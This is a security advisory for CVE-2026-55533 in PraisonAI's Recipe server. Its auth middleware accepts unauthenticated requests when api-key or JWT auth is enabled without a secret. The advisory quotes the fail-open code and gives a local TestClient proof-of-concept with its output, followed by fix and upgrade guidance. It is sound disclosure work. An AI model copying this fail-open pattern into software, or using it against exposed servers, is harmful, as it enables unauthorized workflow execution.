CVE-2026-55533: PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret

Published Aug 25, 2026
·
Updated

Summary

The PraisonAI Recipe HTTP server silently allows unauthenticated requests when auth is configured as api-key or jwt but the corresponding secret is missing.

This creates an authentication fail-open condition. An operator can start the Recipe server with authentication enabled, including on a non-localhost interface, but the server still accepts unauthenticated requests if no API key or JWT secret is provided.

The issue is especially risky because the CLI safety check for non-localhost binding only verifies that auth != "none". It does not verify that an actual API key or JWT secret exists.

Details

The Recipe server documents the following authentication modes:

- none - api-key - jwt

Relevant source locations:

- src/praisonai/praisonai/recipe/serve.py - src/praisonai/praisonai/cli/features/recipe.py

In createauthmiddleware(), the API key middleware resolves the expected key as:

python expectedkey = apikey or os.environ.get("PRAISONAIAPIKEY")

if not expectedkey: # No key configured, allow request return await callnext(request)

This means auth: api-key does not enforce authentication if apikey / PRAISONAIAPIKEY is missing.

The JWT middleware has the same fail-open behavior:

python secret = jwtsecret or os.environ.get("PRAISONAIJWTSECRET") if not secret: return await callnext(request)

The auth middleware is still attached when auth is configured:

python authtype = config.get("auth") if authtype and authtype != "none": authmiddleware = createauthmiddleware( authtype, apikey=config.get("apikey"), jwtsecret=config.get("jwtsecret"), ) if authmiddleware: middleware.append(Middleware(authmiddleware))

The CLI path makes this externally reachable in a misconfigured deployment. In cmdserve, the non-localhost safety check only verifies that auth is not "none":

python if host != "127.0.0.1" and host != "localhost" and auth == "none": self.printerror("Auth required for non-localhost binding. Use --auth api-key or --auth jwt") return self.EXITPOLICYDENIED

Therefore, this command passes the safety check:

bash praisonai recipe serve --host 0.0.0.0 --auth api-key

However, if no --api-key or PRAISONAIAPIKEY is configured, requests are still accepted without authentication.

Affected endpoints include:

- POST /v1/recipes/run - POST /v1/recipes/stream - POST /v1/recipes/validate - optional POST /admin/reload when enableadmin is true

PoC

The following local PoC verifies that api-key and jwt authentication fail open when the corresponding secret is missing.

Run from the repository root with test dependencies installed:

bash python3 pocrecipeauthfailopen.py

pocrecipeauthfailopen.py:

python import os import sys from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd() sys.path.insert(0, str(ROOT / "src" / "praisonai")) sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

Ensure no secrets are present in the environment. os.environ.pop("PRAISONAIAPIKEY", None) os.environ.pop("PRAISONAIJWTSECRET", None)

from praisonai.recipe.serve import createapp

api-key auth selected, but no key configured. appopen = createapp({"auth": "api-key", "enableadmin": True}) clientopen = TestClient(appopen)

print("api-key auth with missing key:") print("GET /openapi.json:", clientopen.get("/openapi.json").statuscode) print("POST /admin/reload:", clientopen.post("/admin/reload").statuscode)

api-key auth selected with an actual key configured. appclosed = createapp({ "auth": "api-key", "apikey": "expected", "enableadmin": True, }) clientclosed = TestClient(appclosed)

print("\napi-key auth with configured key:") print("missing key:", clientclosed.post("/admin/reload").statuscode) print("wrong key:", clientclosed.post( "/admin/reload", headers={"X-API-Key": "wrong"}, ).statuscode) print("correct key:", clientclosed.post( "/admin/reload", headers={"X-API-Key": "expected"}, ).statuscode)

jwt auth selected, but no JWT secret configured. appjwtopen = createapp({"auth": "jwt"}) clientjwtopen = TestClient(appjwtopen)

print("\njwt auth with missing secret:") print("GET /openapi.json:", clientjwtopen.get("/openapi.json").statuscode)

Observed output:

text api-key auth with missing key: GET /openapi.json: 200 POST /admin/reload: 200

api-key auth with configured key: missing key: 401 wrong key: 401 correct key: 200

jwt auth with missing secret: GET /openapi.json: 200

The important result is that auth=api-key without a configured key allows requests to protected endpoints, while the same endpoint correctly returns 401 when a key is configured and missing/wrong.

Impact

In an exposed deployment, an unauthenticated attacker can access Recipe server endpoints even though the operator selected api-key or jwt authentication.

This gives unauthenticated access to recipe execution endpoints such as:

- POST /v1/recipes/run - POST /v1/recipes/stream

If admin endpoints are enabled, the attacker can also access:

- POST /admin/reload

The impact depends on the available recipes and deployment configuration. In the worst case, unauthenticated users can trigger recipe workflows or administrative reload operations on an externally bound Recipe server.

Other sources

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.58, createauthmiddleware() allows requests when auth=api-key lacks PRAISONAIAPIKEY or JWT authentication lacks PRAISONAIJWTSECRET. An externally bound Recipe server can therefore accept unauthenticated POST /v1/recipes/run requests despite authentication being enabled. This issue is fixed in version 4.6.58.

MITRE

Affected Software

1 affected componentFixes available
pip/PraisonAI<4.6.58
4.6.58

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/PraisonAI to a version that resolves this vulnerability.

    Fixed in 4.6.58
  2. Upgrade

    Upgrade praisonai to a version that resolves this vulnerability.

    Fixed in 4.6.58
  3. Operational

    Ensure required secrets are configured when using Recipe server authentication modes: set PRAISONAI_API_KEY when auth is configured as api-key, and set PRAISONAI_JWT_SECRET when auth is configured as jwt. Otherwise the server can fail open and accept unauthenticated requests.

Event History

Aug 25, 2026
CVE Published
via MITRE·03:15 PM
Data Sourced
via MITRE·03:15 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·03:15 PM
Data Sourced
via GitHub·03:15 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via NVD·04:16 PM
DescriptionSeverityWeakness

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203